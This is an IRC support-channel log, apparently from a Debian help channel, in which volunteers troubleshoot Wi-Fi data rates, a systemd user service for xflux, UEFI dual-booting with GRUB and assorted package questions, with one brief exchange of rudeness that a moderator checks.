| 17:32.47 | babilen | tortib: Please keep it civil in here |
| 17:32.50 | teraflops | t |
| 17:33.05 | teraflops | tortib: wat |
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| 17:34.01 | emankcin | tortib, You won't get much help with that kind of behaviour |
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| 17:35.03 | emankcin | People are volunteering their time to assist others. Disrespect will get you nowhere. |
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| 17:36.13 | teraflops | tortib: yeah I don't care about your issue any more. I wish |
| 17:36.31 | teraflops | you the worst |
| 17:36.44 | dionysus69 | I want to create a really simple systemd service and cant seem to find a basic examples online, any resources maybe as a suggestion? |
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| 17:39.16 | TomTomTosch | dionysus69: this has a few examples: https://access.redhat.com/documentation/en-US/Red_Hat_Enterprise_Linux/7/html/System_Administrators_Guide/sect-Managing_Services_with_systemd-Unit_Files.html |
| 17:39.25 | TomTomTosch | dionysus69: see "Example 8.17. postfix.service Unit File" |
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| 17:39.37 | dionysus69 | cool thanks TomTomTosch |
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| 17:40.12 | TomTomTosch | dionysus69: or look ar the ones that you have on your system. |
| 17:40.18 | TomTomTosch | s/ar/at |
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| 17:44.07 | tortib | I'm using gnome and my wifi is only connecting at 72Mbps instead of 802.11n ; how can i resolve this? I set my router to use 802.11N only |
| 17:44.51 | OerHeks | tortib, so you are using jessie, not ubuntu like you say all days this week, good choise :-) |
| 17:46.10 | joujou | Hi guys. In a LAN how should I proceed to tell a device to route its wifi traffic through another device inet IP:port as socks5 proxy? |
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| 17:47.45 | dondelelcaro | tortib: what does iw dev wlan0 link; say? |
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| 17:51.54 | rapha | is there any way from keeping debian stretch machines activating lightdm's login screen as some sort of screensaver / lock screen? |
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| 17:52.54 | tortib | 72mbps |
| 17:53.08 | tortib | dondelelcaro, 72Mbps |
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| 17:54.14 | karlpinc | joujou: SOCKS is an application level protocol. If you want to route _all_ traffic from a device to an ip then make the ip the device's default gateway. |
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| 17:55.36 | joujou | karlpinc, thanks, I'll try that straight away |
| 17:55.48 | ploynog | Searching for "apt-check" within filenames (https://packages.debian.org/search?searchon=contents&keywords=apt-check&mode=exactfilename&suite=stable&arch=any) in Jessie only reports a match in a package that no longer exists in Jessie. Bug or somehow intended? |
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| 17:58.26 | dondelelcaro | tortib: that's not really the whole output. What is the signal? What is the complete tx bitrate? what does iw dev wlan0 scan dump; say? |
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| 18:00.53 | emankcin | tortib, People are still trying to help you for some reason. Pastebin any outputs they ask for and you may be rewarded! |
| 18:01.37 | rapha | noone here running stretch with XFCE as a DE? |
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| 18:02.10 | tortib | dondelelcaro, -42 dBm tx bitrate: 72.2 Mbit/s MCS 8 short GI |
| 18:02.28 | tortib | dondelelcaro, isn't 802.11n 130Mbps? |
| 18:02.31 | dondelelcaro | tortib: ok, so that's n |
| 18:02.46 | dondelelcaro | tortib: and no, n can be a whole suite of data rates |
| 18:02.57 | tortib | why am I not getting 130Mbps? |
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| 18:04.01 | MasonHauk | Hi, Has anyone done VGA PCI Passthrough with an Asus Sabertooth 990fx && AMD 8350 CPU because I get the gfx card stubed under 'lspci', but Im getting qemu-system-x86_64: -device pci-assign,host=06:00.0: No IOMMU found. Unable to assign device "(null)" |
| 18:04.08 | dondelelcaro | tortib: that's what I'm trying to find out. The output of iw dev wlan0 scan dump; will tell you whether the AP is actually offering the MCS which can do that |
| 18:04.16 | teraflops | tortib: because you don't deserve it |
| 18:04.16 | tortib | ok one sec |
| 18:04.33 | babilen | teraflops: Please ... |
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| 18:04.46 | dondelelcaro | tortib: and it's also possible that the signal strength isn't high enough for that data rate, or something else has gone on |
| 18:04.52 | emankcin | teraflops, :) |
| 18:04.53 | babilen | tortib's behaviour earlier was, well, suboptimal, but that doesn't mean that we have to be mean |
| 18:05.17 | dondelelcaro | (or your card doesn't support an MCS rate which allows for a higher bitrate, or it doesn't support it in Debian) |
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| 18:06.44 | dondelelcaro | though an MCS of 8 seems wrong; I would have expected an MCS of 7 for 72.2 MB/s. |
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| 18:06.47 | rue | was apt-spy removed from the current package collection? |
| 18:07.25 | teraflops | rue: iirc it's on sid |
| 18:07.41 | babilen | judd: v apt-spy |
| 18:07.42 | judd | Package: apt-spy on amd64 -- squeeze: 3.1-19; sid: 3.2.2-1; wheezy: 3.2.2-1 |
| 18:07.47 | teraflops | oh |
| 18:07.53 | rue | where is squueze in context of sid? |
| 18:08.05 | babilen | "ancient" |
| 18:08.10 | emankcin | tortib, You can try moving the system next to the AP to see if the speed increases. Your signal strength does look good though. |
| 18:08.12 | rue | one back? |
| 18:08.35 | TomTomTosch | three back. |
| 18:08.40 | rue | ah |
| 18:08.45 | rue | thats a little far |
| 18:09.00 | babilen | rue: It would be squeeze < wheezy < jessie < stretch < sid (with stretch and sid being testing and unstable and jessie the current stable release) |
| 18:09.01 | teraflops | wheezy is closer |
| 18:09.03 | rue | its an asterisk server, doing an upgrade will kill me |
| 18:09.24 | teraflops | rue: indeed ^ |
| 18:09.33 | tortib | dondelelcaro, it says that the last supported rate is 54.0 |
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| 18:09.52 | dondelelcaro | tortib: that's not what I asked for |
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| 18:10.06 | dondelelcaro | tortib: it will always say that the max rate is 54.0 MB/s |
| 18:10.15 | tortib | okay so what do you want from the dump? |
| 18:10.21 | dondelelcaro | tortib: the whole dump |
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| 18:11.04 | emankcin | tortib, Put the output into a pastebin service |
| 18:11.11 | emankcin | copy the link here |
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| 18:12.22 | tortib | dondelelcaro, did you see the paste from tortib_ ? |
| 18:12.34 | dondelelcaro | tortib: no. |
| 18:12.52 | dondelelcaro | !paste |
| 18:12.52 | dpkg | Do not paste more than 2 lines to this channel. Instead, use: http://paste.debian.net/ http://pastie.org/ or http://picpaste.com/ for pics. Use wikisend.com for large files (think tar.gz) up to 100MB. Remember to tell us the URL of your paste! Cannot cut and paste? Ask me about <pastebinit>, <nopaste>, <wgetpaste>. |
| 18:13.08 | tortib | yes i know how to use paste |
| 18:13.18 | tortib_ | http://paste.debian.net/785638/ |
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| 18:13.43 | tortib_ | http://paste.debian.net/785638/ |
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| 18:18.05 | tortib | dondelelcaro, ? |
| 18:18.22 | dondelelcaro | tortib: ok, that looks reasonable. What does sudo iw phy phy0 info|grep 'indexes supported'; output? |
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| 18:19.19 | tortib | dondelelcaro, HT RX MCS rate indexes supported: 0-7 HT TX MCS rate indexes supported may_differ |
| 18:19.23 | tortib | says that 4 times |
| 18:19.28 | dondelelcaro | tortib: ok, so there you go |
| 18:19.50 | dondelelcaro | tortib: the max MCS rate that card can support is 7, which means its maximum speed is 72.2MB/s |
| 18:20.10 | dondelelcaro | tortib: see https://en.wikipedia.org/wiki/IEEE_802.11n-2009#Data_rates for details |
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| 18:21.33 | tortib | what |
| 18:21.36 | tortib | it's a brand new laptop |
| 18:21.41 | tortib | how can it only support 72Mbit/s? |
| 18:22.09 | dondelelcaro | tortib: well, what wireless card is it? It wouldn't be the first time that a laptop had a crappy wireless card |
| 18:22.21 | tortib | intel 3165 |
| 18:22.32 | dondelelcaro | tortib: it might also be that the firmware for it is old, or the kernel doesn't support it well enough to support the full suite of MCS that the card actually supports |
| 18:22.42 | tortib | well i downloaded the firmware off their site |
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| 18:23.00 | tortib | i just don't know how to use it |
| 18:23.45 | dondelelcaro | you don't use it. You use the firmware which is found in non-free |
| 18:24.16 | tortib | yes that's what i'm talking about |
| 18:24.24 | tortib | I downloaded the firmware from intels website |
| 18:24.50 | dondelelcaro | tortib: that's not where you get the firmware. It's in the firmware-iwlwifi package |
| 18:25.04 | tortib | dondelelcaro, no i'm getting it from THEIR website |
| 18:25.12 | tortib | I just don't know how to use the firmware from their website |
| 18:25.21 | dondelelcaro | tortib: that's great that you're getting it from their website, but it won't work |
| 18:25.24 | emankcin | tortib, You can try the debian package |
| 18:25.27 | tortib | I'm already using that firmare from backports which obviously doesn't work right |
| 18:25.38 | tortib | why wont it work? |
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| 18:29.00 | dondelelcaro | tortib: because that card is only a 1x1, and only can do that speed |
| 18:29.12 | dondelelcaro | tortib: if you wanted faster speeds, you need a 2x2 or higher card. |
| 18:29.45 | dondelelcaro | tortib: or you need to use ac instead of n |
| 18:29.56 | dondelelcaro | (which that card also supports) |
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| 18:31.31 | dionysus69 | do I do type forking or simple for service? I just want to start xflux exe at system startup |
| 18:31.42 | dionysus69 | referring to systemd |
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| 18:34.46 | tortib | dondelelcaro, does the card support ac? |
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| 18:36.58 | emankcin | tortib, Looked at the product sheet from Intel. It certainly appears to. |
| 18:37.07 | teraflops | dionysus69: take a look at how is done here https://aur.archlinux.org/cgit/aur.git/tree/PKGBUILD?h=xfluxd |
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| 18:37.57 | dionysus69 | <PROTECTED> |
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| 18:38.26 | teraflops | dionysus69: sorry pastefail^ http://ix.io/183C |
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| 18:39.25 | dionysus69 | teraflops: multiple questions spawned, are you eager to answer ? :D |
| 18:40.15 | teraflops | dionysus69: the $ are picked from http://ix.io/183D (/etc/xfluxd.conf) |
| 18:40.21 | kalebo | https://i.imgur.com/cvfTgsY.gif |
| 18:40.27 | teraflops | dionysus69: idk just ask |
| 18:40.35 | kalebo | Sorry, wrong channel |
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| 18:41.17 | dionysus69 | i read in docs that type=forking requires a pidfile |
| 18:41.28 | dionysus69 | also, what is restart=always? |
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| 18:42.26 | dionysus69 | and it might not matter but just curious, what does |
| 18:42.26 | dionysus69 | WantedBy=default.target stand for, I read description on redhat docs site but didnt really get |
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| 18:43.18 | teraflops | dionysus69: "i read in docs that type=forking requires a pidfile" not always |
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| 18:43.56 | teraflops | dionysus69: e.g http://ix.io/o5X no pidfile |
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| 18:44.35 | dionysus69 | what is adventage of spawning a child process from parent process and then killing parent process at the end of startup, thats what I understood from description of type=forking |
| 18:45.29 | teraflops | dionysus69: mind sharing the source of the documentation? |
| 18:45.46 | dionysus69 | https://access.redhat.com/documentation/en-US/Red_Hat_Enterprise_Linux/7/html/System_Administrators_Guide/sect-Managing_Services_with_systemd-Unit_Files.html#tabl-Managing_Services_with_systemd-Service_Sec_Options |
| 18:45.55 | dionysus69 | forking â The process started with ExecStart spawns a child process that becomes the main process of the service. The parent process exits when the startup is complete. |
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| 18:48.27 | teraflops | yeah I'm reading it. well use a pid file if you want, looks like it's legit. |
| 18:49.18 | teraflops | dionysus69: the unit file for compton I pasted above does not use pid file and I can stop it. |
| 18:49.20 | Startrek852 | Hey guys, can someone tell me what the difference between the plasma-desktop and the kde-standard packages are? |
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| 18:49.48 | dionysus69 | yes but what and where is the pidfile and what does it contain? |
| 18:50.04 | dionysus69 | and still, why is forking better than simple? |
| 18:50.30 | dionysus69 | type=simple is default and it makes most sense to me as a system noobie |
| 18:50.40 | teraflops | dionysus69: does xflux require a pid file itself? I guess no, so dont use any |
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| 18:50.59 | tortib | dondelelcaro, does this wifi card support AC? |
| 18:51.07 | dionysus69 | kk sounds good thanks teraflops :) |
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| 18:52.10 | teraflops | dionysus69: I guess with that unit file you get xflux working with no issues |
| 18:52.31 | teraflops | dionysus69: hen try both |
| 18:52.33 | teraflops | then* |
| 18:52.37 | dionysus69 | will do ^.^ |
| 18:53.43 | dondelelcaro | tortib: the specs say that it does |
| 18:53.51 | teraflops | dionysus69: well apache2 uses "simple" (not in debian since theres no apache2 unit file) |
| 18:54.56 | dionysus69 | hmm ok I am very alien to services in general didnt understand what any of that means really |
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| 19:00.59 | Startrek852 | Hey, I'm back. |
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| 19:04.04 | Startrek852 | Did I miss anything? |
| 19:04.58 | fnord_ | I need your help about installing Debian on ThinkPad T520 (UEFI!) Dual-Boot. I'll be glad about any source. Thx:) |
| 19:05.26 | babilen | dpkg: install kde |
| 19:05.26 | dpkg | The 'kde-standard' package gets you the common set-up, 'kde-plasma-desktop' and 'kde-plasma-netbook' provide minimal KDE 4 setups with respective flavouring, and 'kde-full' installs everything KDE 4. To install using Debian-Installer (if not using KDE CD-1): from the 'Software selection' dialog, choose "KDE" (use space bar to toggle selections), then "Continue". |
| 19:05.30 | babilen | Startrek852: ^ |
| 19:05.44 | babilen | fnord_: Anything in particular? |
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| 19:06.13 | Startrek852 | Is there any way to get KDE 5.7 on Debian Jessie? |
| 19:07.00 | babilen | no |
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| 19:08.27 | fnord_ | I can not jump over UEFI. |
| 19:09.01 | Startrek852 | What if I add the kubuntu-backports PPA? |
| 19:09.56 | babilen | fnord_: Debian installers support uefi |
| 19:09.58 | alphazulu | fnord_: i just was able to set up grub dual boot on uefi Thinkpad |
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| 19:10.13 | babilen | Startrek852: Then you will most likely break your system, but I have no experience with those packages whatsoever |
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| 19:11.17 | alphazulu | fnord_: see wiki.debian.org/UEFI you have to mount the target system and chroot to it, mount the efi partition to /boot/efi inside the chroot, then apt-get resinstall grub-efi |
| 19:11.32 | fnord_ | alphazulu, ohhhh geat, how did you do that..?????? |
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| 19:11.44 | alphazulu | see that page. it has all the details |
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| 19:12.38 | alphazulu | fnord_: that was using an Ubuntu live USB. you can probably use any live USB to do it. |
| 19:12.46 | babilen | fnord_: What is the actual problem you are trying to fix? |
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| 19:13.45 | TomTomTosch | debian live systems do not support uefi. the debian installer does. |
| 19:13.57 | aguitel | what is exim ? |
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| 19:17.07 | alphazulu | TomTomTosch: hence the chroot |
| 19:17.12 | fnord_ | alphazulu, + babilen oh! it is great! it works. Many thx. My problem is solved. I'm very happy of that, realy.. |
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| 19:17.54 | TomTomTosch | how does chroot tie in? the debian installer supports uefi natively. |
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| 19:17.59 | babilen | fnord_: What was the problem and what solved it? |
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| 19:18.05 | babilen | I mean .. yay, but :) |
| 19:18.07 | teraflops | heh |
| 19:20.11 | fnord_ | the installprocess was out of order and I got crazy , but it works now.. |
| 19:20.30 | fnord_ | :-) |
| 19:20.51 | babilen | You performed installation steps in the wrong order? |
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| 19:21.30 | fnord_ | maybe I did!!! :-) |
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| 19:24.24 | alphazulu | TomTomTosch: it depends. sometimes after install it still boots direct into windows. for example if you think like the old way of installing bootloader only to linux partition it may not work |
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| 19:25.12 | alphazulu | TomTomTosch: the best way is actually to install grub-efi and let it install to sda or whatever the main device is and let that chainload the windows boot manager |
| 19:25.41 | alphazulu | windows boot manager under uefi basically doesn't want to boot anything other than windows |
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| 19:27.05 | teraflops | alphazulu: was it different under bios/mbr? |
| 19:27.17 | alphazulu | teraflops: yes totally. |
| 19:28.06 | alphazulu | and then i spent like two days mounting the system and chrooting and running grub-install until i realized you have to mount the efi partition inside the chroot to /boot/efi for it to work |
| 19:28.30 | teraflops | windows bootloader taking care of booting Linux? |
| 19:28.46 | teraflops | by default without any hack? |
| 19:29.03 | alphazulu | and you should run efibootmgr tool to check everything and create manual entry or delete bad entries |
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| 19:30.03 | teraflops | alphazulu: sorry I'm lost at this point |
| 19:30.05 | alphazulu | a lot of sites say to use EasyBCD but that also doesn't work with uefi |
| 19:30.17 | TomTomTosch | i fail to see the connection to the initial question. |
| 19:30.35 | alphazulu | teraflops: see https://wiki.debian.org/UEFI |
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| 19:30.45 | teraflops | :S |
| 19:30.54 | teraflops | alphazulu: tanks |
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| 19:31.56 | alphazulu | another weird thing is that when an entry is added you can actually see it in the BIOS settings |
| 19:32.27 | teraflops | bios? |
| 19:33.04 | alphazulu | yes in the startup/boot settings of the bios. for example i now have "debian" listed as one of the boot options in the BIOS |
| 19:33.26 | teraflops | alphazulu: are you talking about unor bios |
| 19:33.45 | teraflops | uefi or |
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| 19:33.56 | teraflops | sorry for the typos |
| 19:34.29 | alphazulu | yes. all new BIOS are uefi. some support legacy mode but if you have pre-installed Windows you cannot switch to legacy |
| 19:34.34 | teraflops | no |
| 19:34.50 | teraflops | never ever call uefi firmware bios |
| 19:35.11 | alphazulu | s/BIOS/firmware got it |
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| 19:38.13 | alphazulu | UEFI firmware supercedes old BIOS |
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| 19:41.46 | teraflops | alphazulu: https://www.happyassassin.net/2014/01/25/uefi-boot-how-does-that-actually-work-then/ is an interesting read |
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| 19:44.14 | dionysus69 | hey I am getting this error: Unit xflux.service entered failed state. Unit file is here https://gist.github.com/anonymous/02f2a3f4338c1d804cbe8a89899cfdec |
| 19:44.40 | dionysus69 | the file is executable |
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| 19:46.51 | babilen | teraflops: Great, ta! |
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| 19:48.22 | teraflops | dionysus69: unit files don't need to be +x, the error is vague, what does systemctl status xflux say? |
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| 19:49.34 | zifxify | about uefi, uefi boot is on a lot motherboards vulnerable, see the smm exploit uhm "reference backdoor by intel" http://blog.cr4.sh/2016/06/exploring-and-exploiting-lenovo.html and since grub allows booting from GPT, I do not see any reason for using it aslong legacy boot is an option |
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| 19:49.37 | teraflops | dionysus69: also where did you put the unit (full path) file and why are you not using a config file? |
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| 19:51.13 | dionysus69 | can this be a problem teraflops This will only work if you're running X on console.? |
| 19:51.43 | dionysus69 | this is full systemctl status output https://gist.github.com/anonymous/5c2631df4a93f9de9e6aacce1afcc344 |
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| 19:52.21 | teraflops | dionysus69: yeah that's what the X stands for |
| 19:52.28 | teraflops | xorg^ |
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| 19:52.39 | dionysus69 | so what can I do? :S |
| 19:52.45 | teraflops | heh |
| 19:52.47 | dionysus69 | but x is running right now |
| 19:52.55 | dionysus69 | when i do service start, still same |
| 19:53.01 | dionysus69 | so that cant be a problem |
| 19:53.13 | teraflops | dionysus69: how are you running Xorg? |
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| 19:53.28 | dionysus69 | what do you mean, I am just running gnome shell |
| 19:53.30 | babilen | What does xflux offer that redshift doesn't? |
| 19:53.34 | dionysus69 | which runs on top of x right? |
| 19:53.46 | teraflops | I guess it isnt awre youre running X |
| 19:54.06 | dionysus69 | hmm thats weird... |
| 19:54.12 | dionysus69 | dunno should I try redshift? |
| 19:54.24 | dionysus69 | but what do I win in this specific situation :D ? |
| 19:54.58 | teraflops | not really, Im not sure about how xorg does it in debian since I barely use it (xorg). I mean does it run as user or as root? |
| 19:55.35 | dionysus69 | dunno I think it can start without root |
| 19:55.46 | dionysus69 | startx can be executed without root |
| 19:55.58 | dionysus69 | what you dont use any GUI just terminal ? :D |
| 19:56.06 | teraflops | nah im going to boot a vm |
| 19:56.42 | babilen | dionysus69: It comes with a working service files (user mode!) to begin with -- /usr/lib/systemd/user/redshift.service |
| 19:56.58 | babilen | I just exec it from my i3 config, but there are various ways |
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| 19:57.15 | dionysus69 | whats i3 config? |
| 19:57.24 | babilen | https://wiki.archlinux.org/index.php/Systemd/User#DISPLAY_and_XAUTHORITY |
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| 19:57.28 | babilen | might be an issue |
| 19:57.42 | teraflops | yeah that's what I meant |
| 19:57.43 | babilen | i3 is a window manager |
| 19:58.31 | dionysus69 | hmm first time heard about it |
| 19:58.37 | dionysus69 | how does it compare to gnome? |
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| 20:00.15 | babilen | It doesn't :) |
| 20:00.21 | missmbob | dionysus69: gnome is a de not wm |
| 20:00.32 | dionysus69 | haha nvm |
| 20:00.40 | babilen | Gnome is a desktop environment, while i3 really just takes care of managing windows |
| 20:00.55 | dionysus69 | i3 is like xorg then? |
| 20:01.19 | missmbob | dionysus69: it's like metacity or Xfwm, etc. |
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| 20:01.52 | teraflops | ,v xflux |
| 20:01.53 | judd | No package named 'xflux' was found in amd64. |
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| 20:02.30 | dionysus69 | ye just download executable from google |
| 20:02.55 | dionysus69 | i had it working, I used to launch it at session startup from .profile |
| 20:02.59 | a1 | hello, when am using https of my debian-server, some clients complain about my site is not thrusted, is there a free CA i can use? |
| 20:03.04 | babilen | dionysus69: I'd use redshift .. it works and does what you want it to do (redshift-gtk if you are after a tray icon) |
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| 20:03.18 | babilen | a1: letsencrypt? |
| 20:03.18 | dionysus69 | but it caused problems when I launched terminal as login shell, it re launched and duplicated process |
| 20:03.25 | missmbob | a1: letsencrypt definitely |
| 20:03.32 | a1 | babilen, is that a site? |
| 20:03.48 | babilen | https://letsencrypt.org/ |
| 20:03.54 | a1 | cool, thanks |
| 20:03.59 | babilen | have fun |
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| 20:04.01 | dionysus69 | kk I ll give redshift a shot. |
| 20:04.22 | teraflops | dionysus69: oh mind sharing the binary? |
| 20:04.27 | teraflops | the url ^ |
| 20:05.09 | dionysus69 | teraflops: https://justgetflux.com/linux/xflux64.tgz |
| 20:05.15 | teraflops | dionysus69: thanks |
| 20:05.17 | dionysus69 | but not sure if I downloaded from here |
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| 20:05.21 | teraflops | heh |
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| 20:05.34 | dionysus69 | if theres a xflux file inside it which is exe then thats it |
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| 20:06.14 | zifxify | How to configure virtmanager to use tap0 as a networkdevice? There's a tutorial: https://forums.gentoo.org/viewtopic-t-987790-start-0.html which make it possible to use a wirelesscard as bridge using arp_proxy for kvm. Also found found this script on github (edited it to make use tuntap instead of tunctl). But I don't know how to add following to virtmanager :script=no,downscript=no ,tried to manually edit the xml but it doesn't work |
| 20:07.08 | zifxify | script http://paste.debian.net/785656/ |
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| 20:08.37 | dionysus69 | babilen didnt install service by itself though :s |
| 20:08.51 | dionysus69 | just installed redshift from repoes and did systemctl daemon-reload |
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| 20:12.12 | zifxify | Someone experience with kvm and using a wireless networkcard ? |
| 20:12.38 | babilen | dionysus69: You might want to familiarise yourself with systemd if you intend to use it: https://wiki.archlinux.org/index.php/Systemd/User#Basic_setup |
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| 20:12.59 | dionysus69 | do I need to create redshift service myself? |
| 20:13.55 | babilen | No, it comes with the package |
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| 20:14.11 | babilen | (linked it earlier, lookup the path if you are interested, but that's not necessary) |
| 20:14.25 | babilen | anyway .. nighty night |
| 20:14.28 | babilen | All the best! |
| 20:14.36 | dionysus69 | thanks :) |
| 20:14.38 | dionysus69 | good night |
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| 20:20.05 | teraflops | dionysus69: well xflux works fine as systemd --user unit |
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| 20:20.59 | teraflops | dionysus69: https://ptpb.pw/NZ9q.png |
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| 20:21.18 | babilen | So would redshift |
| 20:21.26 | teraflops | gnome-shell here debian stock jessie and gdm |
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| 20:25.34 | teraflops | dionysus69: the unit file if youre interested in it http://ix.io/1859 |
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| 20:26.26 | dionysus69 | teraflops: I disconnected if you replied |
| 20:26.36 | dionysus69 | I asked, you used same unit file I posted? |
| 20:26.36 | teraflops | dionysus69: well xflux works fine as systemd --user unit |
| 20:26.42 | teraflops | dionysus69: https://ptpb.pw/NZ9q.png |
| 20:26.47 | teraflops | dionysus69: the unit file if youre interested in it http://ix.io/1859 |
| 20:27.18 | teraflops | sorry for repeating myself |
| 20:27.28 | dionysus69 | hehe np |
| 20:27.32 | babilen | xflux looks quite unmaintained |
| 20:27.39 | dionysus69 | thanks allot, will try this tomorrow |
| 20:27.40 | teraflops | dionysus69: as systemd --user |
| 20:28.23 | dionysus69 | kk sounds good |
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| 20:29.22 | teraflops | so put the unit file in /usr/lib/systemd/user/xfluxd.service and check ~/.config/systemd folder exists |
| 20:29.46 | teraflops | note the "~/" |
| 20:29.48 | dionysus69 | okay that sounds like something :D |
| 20:29.52 | dionysus69 | ye ye I got it :D |
| 20:29.55 | teraflops | yeah it works here |
| 20:30.09 | dionysus69 | can you post that env file once again please? |
| 20:30.10 | babilen | Should work like that for redshift also (systemd user) which is maintained and packaged |
| 20:30.12 | dionysus69 | I cant find it |
| 20:30.20 | babilen | anyway |
| 20:30.20 | teraflops | dionysus69: yep gimme a sec |
| 20:30.24 | babilen | good luck |
| 20:30.30 | dionysus69 | will try both |
| 20:30.32 | teraflops | babilen: sure, I just was curious |
| 20:30.40 | dionysus69 | I just need to get systemd part working |
| 20:30.48 | babilen | Yes, but dionysus69 will use it now |
| 20:30.58 | dionysus69 | both work, its just starting them up properly isnt properly documented |
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| 20:31.10 | teraflops | dionysus69: /etc/xfluxd.conf http://ix.io/183D |
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| 20:31.15 | babilen | the same systemd approach works for redshift, which already comes with a suitable user service file, is packaged and maintained |
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| 20:31.56 | teraflops | dionysus69: babilen has a good point |
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| 20:32.28 | teraflops | dionysus69: also look at the env file DISPLAY=:0 ^ |
| 20:32.30 | dionysus69 | tbh I couldnt find a redshift service file anywhere |
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| 20:33.28 | teraflops | dionysus69: remenber when I asked about your unit not being aware of xorg? |
| 20:33.37 | dionysus69 | yes |
| 20:34.37 | teraflops | you were missing the DISPLAY=:whatever |
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| 20:35.13 | babilen | dionysus69: It's in /usr/lib/systemd/user/ where it belongs, but you don't have to know that as you'd just use "systemd --user ..." |
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| 20:35.29 | babilen | so . now... bed |
| 20:35.39 | teraflops | dionysus69: if you plan using xfluxd adjust DISPLAY to your current value |
| 20:35.46 | teraflops | gn babilen |
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| 20:38.59 | dionysus69 | where do I put that DISPLAY=:whatever if I dont plan on using a config file? I cant pass it as a param to xflux |
| 20:39.15 | teraflops | dionysus69: /etc/xfluxd.conf http://ix.io/183D |
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| 20:40.08 | teraflops | dionysus69: in the unit file itself, sorry I misread it |
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| 20:40.47 | teraflops | dionysus69: but why not using a config file? if you dont want to use /etc use ~/.local/share/whatever |
| 20:42.17 | teraflops | dionysus69: that's better than editing a systemd unit directly and doing systemctl --user daemon-reload and restaring the unit |
| 20:42.59 | teraflops | anyway whatever floats your goat |
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| 20:45.34 | dionysus69 | hahaha nice remark at the end :D |
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| 20:46.16 | teraflops | heh |
| 20:46.19 | rapha | guys |
| 20:46.35 | rapha | with resolvconf, where do i put the nameserver entries for an interface which has a static ip? |
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| 20:47.57 | teraflops | rapha: what do you use, /e/n/i, Network manager, ⦠? |
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| 20:51.36 | rapha | teraflops: /e/n/i ... so i guess there i have my answer |
| 20:52.26 | teraflops | rapha: yeah use dns-nameservers ip |
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| 20:54.02 | dionysus69 | teraflops: one more thing :D |
| 20:54.06 | dionysus69 | Failed to get D-Bus connection: Connection refused |
| 20:54.11 | teraflops | rapha: https://wiki.debian.org/NetworkConfiguration#Defining_the_.28DNS.29_Nameservers |
| 20:54.22 | dionysus69 | when I do sudo systemctl --user enable xflux.service |
| 20:54.25 | teraflops | dionysus69: np |
| 20:54.37 | teraflops | dionysus69: sudo? |
| 20:54.43 | dionysus69 | wait what |
| 20:54.45 | dionysus69 | no sudo? |
| 20:54.49 | teraflops | nope ^ |
| 20:54.57 | teraflops | that's for your user |
| 20:54.59 | dionysus69 | wtf I thought i was supposed to be root |
| 20:55.10 | teraflops | no hehe |
| 20:55.17 | teraflops | it's for your current user |
| 20:55.26 | dionysus69 | oh now it worked |
| 20:55.36 | dionysus69 | great! |
| 20:55.41 | teraflops | fun! |
| 20:55.47 | dionysus69 | yeeyy the screen is red its 1AM :D |
| 20:56.30 | dionysus69 | hahaha cool, time for me to sleep then, thanks for guiding me relentlessly lol |
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| 20:56.39 | dionysus69 | good night ! |
| 20:56.41 | teraflops | dionysus69: nah it's fine |
| 20:57.03 | dionysus69 | seriously I learnt lots of stuff |
| 20:57.28 | dionysus69 | like just now I understood there are root and non root services, I thought all services were root hehe |
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| 20:58.05 | dionysus69 | how to create service from scratch, that display thing was keeping original setup from working I suspect. |
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| 20:59.48 | teraflops | dionysus69: systemd is relatively new so you need to get used to it, that's all |
| 20:59.55 | babilen | dionysus69: You are aware that that software hasn't been updated in what appears to be more than three years, don't you? |
| 21:00.16 | babilen | (nor will it in the future) |
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| 21:01.17 | dionysus69 | babilen: most important is that I know how systemd works now so I can apply this method to redshift |
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| 21:02.02 | dionysus69 | I agree babilen I am pro open source definitely thats why I am bashing my head of debian in the first place :D so I ll resetup to redshift tomorrow though |
| 21:02.14 | dionysus69 | really late have to wake up in 6 hours |
| 21:02.47 | dionysus69 | ok thanks allot again so I am off |
| 21:03.47 | DammitJim | could samba mounts on fstab cause thousands of connections per second? |
| 21:04.06 | DammitJim | my asa is freaking out and everything seems to point to a debian server with samba mounts to windows machines |
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| 21:57.12 | Asher128 | Hi guys! Do you know the advantage of MooseFS over LizardFS? |
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| 22:06.36 | MasonHauk | Im trying to run kvm vga passthrough and it says no boot devices detected this is my command ./vm.sh -boot d -drive file=/home/s/win7s.iso -media=cdrom -drive file=/home/s/Downloads/virtio-win-0.1.118.iso -media=cdrom This is my script https://bpaste.net/show/6eb9cc198063 |
| 22:07.26 | emankcin | Asher, For MooseFS, depends Hoofs asking.. though LizardFS Scales better. |
| 22:07.45 | brennen | brutal. |
| 22:07.58 | emankcin | Tough crowd |
| 22:09.28 | droope | Hello. I am trying to debug software running in an emulated ARM device, but gdb complains about it not being the right architecture. The full error message is "Architecture rejected target-supplied description." Is there any package for arm gdb or should I just recompile gdb? |
| 22:09.55 | polyzen | lol |
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| 22:34.32 | jhamlin | Hi all, I am sending a jpg file that I created on my debian machine. I want to make sure that there is no personally identifying info in the file. I use exiftags and there is nothing there. The only thing I can think to worry about is user/group info. Will that get preserved if I email the file? |
| 22:35.06 | jhamlin | And if anyone's wondering, this isn't for anything freaky. Just a negative peer review of a scientific article :) |
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| 22:38.25 | vook | permissions won't be retained when it's e-mailed |
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| 22:40.03 | jhamlin | vook: didn't think so. Thanks! I did strings on it too and couldn't find anything identifying |
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| 22:40.26 | vook | jhamlin: yeah, that's married to the filesystem. https://ext4.wiki.kernel.org/index.php/Ext4_Disk_Layout |
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| 22:42.10 | sanmarcos | what does ! mean in a patch file? |
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| 22:45.50 | petn-randall | sanmarcos: Care to show us the patch? â http://paste.debian.net |
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| 22:47.05 | themill | sanmarcos: in context diff format, it's a changed line. (unified diff format is more common) |
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| 22:52.39 | molgrum | someonw invite me to testing (stretch) |
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| 22:53.14 | sanmarcos | thanks |
| 22:53.22 | molgrum | please |
| 22:53.38 | missmbob | molgrum: wrong network. it's on oftc, not freenode |
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| 22:53.50 | molgrum | ok |
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| 23:23.32 | ShadowOfIntent | guys I have a question, on my office they are offering me a machine with any OS between ubuntu, cent os, debian and of course window$. I wanna know if I use the testing repos on Debian I could access to the most recent python packages via apt-get or if I would have to do it without apt-get |
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| 23:24.46 | missmbob | ,v python3 |
| 23:24.47 | judd | Package: python3 on amd64 -- squeeze: 3.1.3-12+squeeze1; wheezy: 3.2.3-6; jessie: 3.4.2-2; stretch: 3.5.1-4; sid: 3.5.1-4 |
| 23:25.05 | missmbob | 3.5.1 is pretty close anyway |
| 23:25.18 | ShadowOfIntent | ,v python3-numpy |
| 23:25.19 | judd | Package: python3-numpy on amd64 -- wheezy: 1:1.6.2-1.2; jessie: 1:1.8.2-2; sid: 1:1.11.1~rc1-1; stretch: 1:1.11.1~rc1-1 |
